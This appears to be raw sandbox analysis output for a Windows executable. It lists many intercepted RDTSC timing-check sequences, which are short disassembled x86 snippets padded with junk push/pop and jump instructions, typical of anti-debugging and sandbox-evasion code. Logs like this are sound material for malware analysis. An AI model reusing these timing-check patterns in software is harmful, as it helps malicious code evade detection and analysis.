Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12E76C4 second address: 12E76D8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jnl 00007F49C1336BB6h 0x0000000a popad 0x0000000b push ecx 0x0000000c push esi 0x0000000d pop esi 0x0000000e push edx 0x0000000f pop edx 0x00000010 pop ecx 0x00000011 pushad 0x00000012 push eax 0x00000013 push edx 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12E7846 second address: 12E7852 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jbe 00007F49C1023918h 0x0000000a pushad 0x0000000b popad 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12E7852 second address: 12E7858 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12E7858 second address: 12E7868 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F49C102391Ch 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12E7868 second address: 12E786C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12E79D7 second address: 12E79EF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F49C1023922h 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12E79EF second address: 12E79F6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edi 0x00000005 pop edi 0x00000006 popad 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12E7CFD second address: 12E7D1A instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F49C1023924h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pushad 0x0000000a push edi 0x0000000b pop edi 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12E8001 second address: 12E8005 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12E8005 second address: 12E8010 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pop eax 0x00000004 push ebx 0x00000005 pop ebx 0x00000006 pop edx 0x00000007 pop eax 0x00000008 pushad 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12E8010 second address: 12E8030 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F49C1336BC3h 0x00000009 jnl 00007F49C1336BB6h 0x0000000f push ebx 0x00000010 pop ebx 0x00000011 popad 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12E8030 second address: 12E807E instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push edx 0x00000004 pop edx 0x00000005 jmp 00007F49C102391Dh 0x0000000a pushad 0x0000000b popad 0x0000000c jmp 00007F49C1023928h 0x00000011 popad 0x00000012 push esi 0x00000013 jmp 00007F49C1023929h 0x00000018 pop esi 0x00000019 pop edx 0x0000001a pop eax 0x0000001b pushad 0x0000001c pushad 0x0000001d push eax 0x0000001e push edx 0x0000001f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12E807E second address: 12E8096 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 ja 00007F49C1336BB6h 0x0000000a pushad 0x0000000b popad 0x0000000c push ecx 0x0000000d pop ecx 0x0000000e popad 0x0000000f push edi 0x00000010 jc 00007F49C1336BB6h 0x00000016 push eax 0x00000017 push edx 0x00000018 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12E8096 second address: 12E809E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edi 0x00000005 push edi 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12EB24A second address: 12EB24F instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12F1355 second address: 12F1359 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12F1359 second address: 12F1378 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 jmp 00007F49C1336BC1h 0x0000000d jng 00007F49C1336BB6h 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12F1378 second address: 12F137C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12F1EC2 second address: 12F1EC6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12F1EC6 second address: 12F1ED0 instructions: 0x00000000 rdtsc 0x00000002 jbe 00007F49C1023916h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12F21C3 second address: 12F21CB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12F21CB second address: 12F21D8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 jbe 00007F49C1023916h 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12F21D8 second address: 12F21EE instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F49C1336BC2h 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12F21EE second address: 12F21FA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push esi 0x00000007 pushad 0x00000008 push edx 0x00000009 pop edx 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12F2E76 second address: 12F2E7C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12F2E7C second address: 12F2E8B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F49C102391Bh 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12F7BF3 second address: 12F7BFB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop eax 0x00000005 pushad 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12F7BFB second address: 12F7C07 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jp 00007F49C1023916h 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12F7C07 second address: 12F7C18 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 pop edi 0x00000008 pushad 0x00000009 jc 00007F49C1336BC2h 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12F7C18 second address: 12F7C1E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12F7C1E second address: 12F7C2C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 push esi 0x00000007 pop esi 0x00000008 jl 00007F49C1336BB6h 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12F7C2C second address: 12F7C49 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F49C1023925h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push edx 0x0000000b push eax 0x0000000c pop eax 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12F6CB6 second address: 12F6CE1 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F49C1336BC8h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 jmp 00007F49C1336BBFh 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12F6CE1 second address: 12F6CE7 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push edi 0x00000005 pop edi 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12F6CE7 second address: 12F6CF9 instructions: 0x00000000 rdtsc 0x00000002 jbe 00007F49C1336BB6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b push edx 0x0000000c jng 00007F49C1336BB6h 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12F6CF9 second address: 12F6CFF instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pop edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12F6E95 second address: 12F6E9C instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pushad 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12F7483 second address: 12F7487 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12F7487 second address: 12F748D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12F748D second address: 12F7497 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pushad 0x00000004 popad 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 push ecx 0x00000009 pop ecx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12F7497 second address: 12F74A9 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 ja 00007F49C1336BB6h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c pop edx 0x0000000d pop eax 0x0000000e pushad 0x0000000f push edx 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12F7616 second address: 12F761C instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pop edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12F774A second address: 12F7750 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12F7750 second address: 12F7754 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12F78FB second address: 12F791F instructions: 0x00000000 rdtsc 0x00000002 jng 00007F49C1336BB6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pushad 0x0000000b jmp 00007F49C1336BC7h 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1304440 second address: 130445A instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F49C1023924h 0x00000007 pushad 0x00000008 popad 0x00000009 pop edx 0x0000000a pop eax 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1304894 second address: 130489A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 130489A second address: 130489F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 130489F second address: 13048A4 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1305128 second address: 1305130 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1305130 second address: 1305134 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13060CF second address: 13060DE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edi 0x00000005 push eax 0x00000006 push edx 0x00000007 jng 00007F49C1023916h 0x0000000d pushad 0x0000000e popad 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13060DE second address: 13060E7 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push esi 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1308601 second address: 1308606 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1308606 second address: 1308612 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jg 00007F49C1336BB6h 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1308612 second address: 130861B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 130861B second address: 1308621 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1308621 second address: 1308625 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1308625 second address: 1308629 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1254188 second address: 12541AD instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pop ebx 0x00000004 jmp 00007F49C1023923h 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push edi 0x0000000c pushad 0x0000000d popad 0x0000000e pop edi 0x0000000f push eax 0x00000010 push edx 0x00000011 jc 00007F49C1023916h 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 130CD04 second address: 130CD0A instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 130CD0A second address: 130CD10 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 130CD10 second address: 130CD1B instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 pushad 0x00000006 popad 0x00000007 pushad 0x00000008 popad 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 130CD1B second address: 130CD38 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pop edx 0x00000006 pop eax 0x00000007 jo 00007F49C1023945h 0x0000000d pushad 0x0000000e jmp 00007F49C102391Dh 0x00000013 push eax 0x00000014 push edx 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 130CD38 second address: 130CD4B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jp 00007F49C1336BB6h 0x0000000a popad 0x0000000b push eax 0x0000000c push edx 0x0000000d jc 00007F49C1336BB6h 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 130CD4B second address: 130CD4F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 131830C second address: 1318312 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1318312 second address: 1318316 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 131BB5E second address: 131BB79 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 pushad 0x00000006 popad 0x00000007 push ecx 0x00000008 pop ecx 0x00000009 popad 0x0000000a push eax 0x0000000b push edx 0x0000000c pushad 0x0000000d popad 0x0000000e jmp 00007F49C1336BBDh 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13252A5 second address: 13252C2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F49C1023927h 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 132BE0A second address: 132BE10 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 132BE10 second address: 132BE1D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 jl 00007F49C1023916h 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 132BE1D second address: 132BE2C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pop eax 0x00000004 push ebx 0x00000005 pop ebx 0x00000006 pop edx 0x00000007 pop eax 0x00000008 pushad 0x00000009 push esi 0x0000000a pop esi 0x0000000b pushad 0x0000000c popad 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 132F0C0 second address: 132F0C6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13353EA second address: 13353F0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ecx 0x00000005 pop ecx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 133452A second address: 1334532 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pop ebx 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1334532 second address: 1334538 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push esi 0x00000005 pop esi 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13389F7 second address: 1338A21 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F49C1023925h 0x00000007 jp 00007F49C1023916h 0x0000000d pop edx 0x0000000e pop eax 0x0000000f pushad 0x00000010 jl 00007F49C1023916h 0x00000016 pushad 0x00000017 popad 0x00000018 push eax 0x00000019 push edx 0x0000001a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1338A21 second address: 1338A2B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 popad 0x00000006 pushad 0x00000007 pushad 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1338A2B second address: 1338A33 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1338BA2 second address: 1338BA7 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 134509F second address: 13450BE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jns 00007F49C1023916h 0x0000000a pushad 0x0000000b popad 0x0000000c popad 0x0000000d pushad 0x0000000e pushad 0x0000000f jbe 00007F49C1023916h 0x00000015 jl 00007F49C1023916h 0x0000001b popad 0x0000001c pushad 0x0000001d push eax 0x0000001e push edx 0x0000001f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13450BE second address: 13450C4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 136DA01 second address: 136DA10 instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pop edx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push edx 0x00000007 jnc 00007F49C1023916h 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 136DCEE second address: 136DCFB instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push edx 0x00000004 pop edx 0x00000005 jp 00007F49C1336BB6h 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 136DCFB second address: 136DD1E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pop edx 0x00000006 pop eax 0x00000007 push eax 0x00000008 push edx 0x00000009 jc 00007F49C102391Ch 0x0000000f js 00007F49C1023916h 0x00000015 pushad 0x00000016 jl 00007F49C1023916h 0x0000001c ja 00007F49C1023916h 0x00000022 popad 0x00000023 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 136DE89 second address: 136DEC6 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F49C1336BBCh 0x00000007 jmp 00007F49C1336BC4h 0x0000000c pop edx 0x0000000d pop eax 0x0000000e pushad 0x0000000f push eax 0x00000010 push edx 0x00000011 jmp 00007F49C1336BC6h 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 136DEC6 second address: 136DECA instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 136E1E0 second address: 136E1F2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F49C1336BBAh 0x00000009 popad 0x0000000a push ebx 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 136E1F2 second address: 136E1FA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ebx 0x00000005 pushad 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 136E1FA second address: 136E209 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 pushad 0x00000007 popad 0x00000008 pushad 0x00000009 popad 0x0000000a popad 0x0000000b push eax 0x0000000c push edx 0x0000000d pushad 0x0000000e popad 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 136E209 second address: 136E20D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 136E371 second address: 136E387 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jp 00007F49C1336BB6h 0x00000009 push esi 0x0000000a pop esi 0x0000000b popad 0x0000000c pop edx 0x0000000d pop eax 0x0000000e push eax 0x0000000f push edx 0x00000010 push eax 0x00000011 push edx 0x00000012 push eax 0x00000013 pop eax 0x00000014 push eax 0x00000015 push edx 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 136E387 second address: 136E38B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 136E38B second address: 136E38F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 136E38F second address: 136E39B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push edi 0x00000007 pushad 0x00000008 popad 0x00000009 push esi 0x0000000a pop esi 0x0000000b pop edi 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 136E4D2 second address: 136E4D6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 136E664 second address: 136E668 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 136E668 second address: 136E67F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 jmp 00007F49C1336BBFh 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 136E67F second address: 136E683 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 136E683 second address: 136E68C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 136E7A8 second address: 136E7AE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
